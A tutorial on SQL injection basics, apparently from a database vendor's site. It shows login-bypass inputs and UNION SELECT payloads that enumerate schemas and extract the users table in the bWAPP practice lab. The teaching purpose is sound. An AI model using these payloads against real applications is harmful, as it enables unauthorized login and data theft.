REQUEST COMPLIMENTARY SQLS*PLUS LICENCE
SQL injection vulnerability: SQLi basics, simple injection with UNION
SQL injection is a dangerous vulnerability that occurs due to insufficient filtering of data entered by the user, which allows you to modify queries to databases.
The result of the SQL injection is access to data that in normal conditions the user would not have access to.
SQL injection for beginners
Usually SQLi is found in web applications. But in fact, SQL injection can be subject to any program that uses different databases (not only MySQL/MariaDB).
As an example, consider an application that addresses a database with the following query:
SELECT
`
name
`, `status`, `books`
FROM
`members`
WHERE
name
=
'Demo'
AND
password
=
'111'
The request is similar to natural language (English) and its meaning is quite easy to interpret:
Select (SELECT) the `name`, `status`, `books` fields from (FROM) the `members` table where (WHERE) the value of the name field is equal to Demo (name = ‘Demo’) and (AND) the value of the password field is equal to 111 (password = ‘111’).
This query causes a table bypass, which results in a comparison with each row, and if the condition name = ‘Demo’ AND password = ‘111’ is true for any row, then it gets to the results. In this case, the results will only come if both the username and password are exactly the same as those stored in the table.
In this case, the application gets the values “Demo” and “111” from the user – for example, in the form of login to the site.
Suppose that the user has entered such a line instead of Demo:
Demo' --
Then the query to the database will look like:
SELECT
`
name
`, `status`, `books`
FROM
`members`
WHERE
name
=
'Demo'
-- ' AND password ='111'
Two lines (–) – means a comment to the end of a line, i.e. everything behind them is no longer counted. Consequently, the part ‘ AND password = ‘111’ disappears from the expression.
Since a closing quote was left in the comment, it was also entered with a username, so as not to break the syntax or cause an error, the result was actually the following query to the database:
SELECT `name`, `status`, `books` FROM `members` WHERE name =
'Demo'
In it, the logic of the program’s work laid down by the developers was broken. That is, now the table is searched only by name. And if the name matches, the string gets to the results regardless of the password entered. This is an example of SQL injection operation. In the real situation, such an error can be used on a website to login under an administrator account, for which it is enough to know only the name, and the password becomes unnecessary.
Besides authentication traversal, SQL injection is used to extract information from databases, call denial of service (DoS), exploit other vulnerabilities (like XSS), etc.
Operation of SQL injection
Each time with any application, wherever the SQL injection is used, the following three basic implementation rules are used:
- Balancing
- Introduction
- Commenting
The balance is that the number of opening and closing quotes and brackets must be the same so as not to cause a syntax error. When investigating an error, you need to determine which quotes and brackets are used and if so, which ones.
The introduction is to add a query depending on the information we want to get.
Commenting allows us to cut off the final part of the query so that it does not break the syntax.
Comments in MySQL start with symbols:
- #
- —
- /*
That is, instead of
Demo' --
could be entered
Demo' #
Note that after the double line, a space is required, and after # the space is optional.
You can continue to change the query logic by inserting a space as the username:
Demo' OR 1 --
you will be prompted
SELECT
`
name
`, `status`, `books`
FROM
`members`
WHERE
name
=
' Demo'
OR
1
-- ' AND password ='111'
Let’s remove the commented part:
SELECT
`
name
`, `status`, `books`
FROM
`members`
WHERE
name
=
' Demo'
OR
1
We use logical OR (OR). Logical OR returns true if at least one of the expressions is true. In this case, the second expression 1 is always true. Consequently, the results will include all table entries at all. In a real web application it is possible to achieve a result when all users’ data will be output, despite the fact that the attacker did not know neither their logins nor passwords.
In our example, after entering the Demo value, we set a single quote (‘) so that the query remains valid from the syntax point of view. The query can be written in many different ways, for example, all the following forms return the same result.
For queries with a number:
SELECT
*
FROM
table_name
WHERE
id=1
SELECT
*
FROM
table_name
WHERE
id=
'1'
SELECT
*
FROM
table_name
WHERE
id=
"1"
SELECT
*
FROM
table_name
WHERE
id=(1)
SELECT
*
FROM
table_name
WHERE
id=(
'1'
)
SELECT
*
FROM
table_name
WHERE
id=(
"1"
)
SELECT
*
FROM
table_name
WHERE
id=
'1'
SELECT
*
FROM
table_name
WHERE
id=
"1"
SELECT
*
FROM
table_name
WHERE
id=(
'1'
)
SELECT
*
FROM
table_name
WHERE
id=(
"1"
)
SELECT
*
FROM
`members`
WHERE
name
=
"$name"
AND
password
=
"$password"
Demo' #
Demo" #
SELECT
*
FROM
`members`
WHERE
name
= (
'$name'
)
AND
password
= (
'$password'
)
Demo') #
The main signs of the presence of SQL injection is an error output or no output when entering single or double quotes. These characters can cause an error in the application itself, so to be sure that you are dealing with the SQL injection, and not with another error, you need to study the output message.
The list of DBMS and the variants of errors they display
Style of MySQL errors:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
Error in MSSQL ASPX:
Server Error in '/' Application
Error in MSAccess (Apache PHP):
Fatal error: Uncaught exception 'com_exception' with message Source: Microsoft JET Database Engine
Error in MSAccesss (IIS ASP):
Microsoft JET Database Engine error '80040e14'
Error in Oracle:
ORA-00933: SQL command not properly ended
Error in ODBC:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
Error in PostgreSQL:
PSQLException: ERROR: unterminated quoted string at or near "'" Position: 1
или
Query failed: ERROR: syntax error at or near
"'" at character 56 in /www/site/test.php on line 121.
Error in MS SQL Server:
Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string
A practical example of simple SQL injection
For training I will use bWAPP (link to description and installation process).
Select the “SQL Injection (GET/Search)”/ bug.
We are expected to enter the title of the movie, enter “Iron Man” in the search:
Next, let’s run a series of tests.
Enter
Iron Man' |
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
Iron Man"
I.e. nothing was found, this indicates that double quotes are not filtered either (otherwise the film would have been found by Iron Man request). It also indicates that single quotes are used to frame the entered strings.
Based on the information obtained, we form a row to display all table entries:
Iron Man' OR 1 #
Result:
Determine the number of columns in a table using ORDER BY
To create more complex injection commands, you need to know how many columns are in the table.
ORDER BY specifies the sorting of data received from the table. You can specify sorting by column name, or you can specify sorting by column number. Moreover, if there is no column with such number, an error will be shown.
Consistently try the following rows (AND 0 is used to suppress unnecessary output):
Iron Man' AND 0 ORDER BY 1 #
Iron Man' AND 0 ORDER BY 2 #
Iron Man' AND 0 ORDER BY 3 #
………………………
………………………
………………………
Iron Man' AND 0 ORDER BY 7 #
Iron Man' AND 0 ORDER BY 8 #
Error: Unknown column '8' in 'order clause'
This means that the eighth column is missing, i.e. there are only seven columns in the table.
Another way to find the number of columns is to use the same UNION. Let’s add the number of columns with the ladder:
Iron Man' AND 0 UNION SELECT 1 #
Iron Man' AND 0 UNION SELECT 1,2 #
………………………
………………………
………………………
Iron Man' AND 0 UNION SELECT 1,2,3,4,5,6,7 #
error: The used SELECT statements have a different number of columns
Do so until the error message disappears.
Combining requests with UNION SELECT
UNION allows you to combine results in one of several SELECT expressions.
Construct our query with UNION:
Iron Man' AND 0 UNION SELECT 1,2,3,4,5,6,7 #
As I said, the number of fields must be the same in both SELECTs, but what is not very important in these fields. You can, for example, just prescribe numbers – and they will be printed. You can prescribe NULL – then nothing will be printed instead of the field.
Note that the content of some UNION SELECT 2,3,4,5 fields is displayed. You can set functions instead of numbers.
What to write in the SELECT
There are some functions and variables that can be written directly to UNION:
Variable / Function | Conclusion |
---|---|
@@hostname | Current hostname |
@@tmpdir | Directory for temporary files |
@@datadir | Directory with databases |
@@version | database version |
@@basedir | Base directory |
user() | Current user |
database() | Current database |
version() | Version |
schema() | Current database |
UUID() | System UUID key |
current_user() | Current user |
current_user | Current user |
system_user() | Current system user |
session_user() | Session user |
@@GLOBAL.have_symlink | Checking if symlinks are on or off |
@@GLOBAL.have_ssl | Verification whether SSL is available or not |
Enter to get the database name:
Iron Man' AND 0 UNION SELECT 1,database(),3,4,5,6,7 #
INFORMATION_SCHEMA Database
INFORMATION_SCHEMA is always present in the MySQL / MariaDB database list. This is a service database that provides access to database metadata, information about the MySQL server. Simply put, it contains information about all other databases that the MySQL / MariaDB server supports. This information includes the names of databases and tables.
For example, the next query will display the names of all databases present on the server:
SELECT
SCHEMA_NAME
FROM
INFORMATION_SCHEMA.SCHEMATA
- SELECT and FROM are already familiar elements of the database query language;
- SCHEMA_NAME – the name of the requested column;
- INFORMATION_SCHEMA – name of the database to which the query is made;
- SCHEMATA – the name of the table where the requested column is searched for.
Getting a list of all databases on the server through SQL injection
Using UNION, we can query the INFORMATION_SCHEMA database. For example, to output the contents of the SCHEMA_NAME field (the names of the databases present on the server), we can make the following entry approximately:
Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #
Sometimes a web application script that is subject to SQL injection outputs only one entry. In our example, this is not the case, but if, for example, entering
Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #
output only one record at a time, you could use LIMIT to view all tables. For example, for the first row:
Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #
For the second line:
Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #
For the third line:
Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #
For the fourth line:
Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #
etc. It is possible to use more complex syntax using WHERE and functions. For example, the next input will show you the names of the tables in the current database:
Iron Man' AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #
Once you have received the names of the database tables, you can go on and get the names of the columns:
The desired query:
SELECT
column_name
FROM
information_schema.columns
WHERE
table_schema=
database
()
AND
table_name=
'tablenamehere'
Where instead of table name here you have to substitute a table name.
For example, we got the following names of the tables present in the database:
- blog
- heroes
- movies
- users
- visitors
Then to get the column names in the blog table you need to generate a query:
SELECT
column_name
FROM
information_schema.columns
WHERE
table_schema=
database
()
AND
table_name=
'blog'
With regard to our vulnerability, we get input:
Iron Man' AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME='blog' #
Here you can also use LIMIT.
Extracting data from a table using an SQL injection
Now that we know the database name, table name and field name, we can extract data from an arbitrary column. For example, input:
For example, the following input for our vulnerability means extracting the contents of the login column from the users table from the current database:
Iron Man' AND 0 UNION SELECT 1,login,3,4,5,6,7 FROM users #
What is SQL Injection? SQL Injection Tutorial. Cybersecurity Training (video)
MORE NEWS
PreambleNoSql is not a replacement for SQL databases but is a valid alternative for many situations where standard SQL is not the best approach for...
PreambleMongoDB Conditional operators specify a condition to which the value of the document field shall correspond.Comparison Query Operators $eq...
5 Database management trends impacting database administrationIn the realm of database management systems, moreover half (52%) of your competitors feel...
The data type is defined as the type of data that any column or variable can store in MS SQL Server. What is the data type? When you create any table or...
PreambleMS SQL Server is a client-server architecture. MS SQL Server process starts with the client application sending a query.SQL Server accepts,...
First the basics: what is the master/slave?One database server (“master”) responds and can do anything. A lot of other database servers store copies of all...
PreambleAtom Hopper (based on Apache Abdera) for those who may not know is an open-source project sponsored by Rackspace. Today we will figure out how to...
PreambleMongoDB recently introduced its new aggregation structure. This structure provides a simpler solution for calculating aggregated values rather...
FlexibilityOne of the most advertised features of MongoDB is its flexibility. Flexibility, however, is a double-edged sword. More flexibility means more...
PreambleSQLShell is a cross-platform command-line tool for SQL, similar to psql for PostgreSQL or MySQL command-line tool for MySQL.Why use it?If you...
PreambleWriting an application on top of the framework on top of the driver on top of the database is a bit like a game on the phone: you say “insert...
PreambleOracle Coherence is a distributed cache that is functionally comparable with Memcached. In addition to the basic function of the API cache, it...
PreambleIBM pureXML, a proprietary XML database built on a relational mechanism (designed for puns) that offers both relational ( SQL / XML ) and...
What is PostgreSQL array? In PostgreSQL we can define a column as an array of valid data types. The data type can be built-in, custom or enumerated....
PreambleIf you are a Linux sysadmin or developer, there comes a time when you need to manage an Oracle database that can work in your environment.In this...
PreambleStarting with Microsoft SQL Server 2008, by default, the group of local administrators is no longer added to SQL Server administrators during the...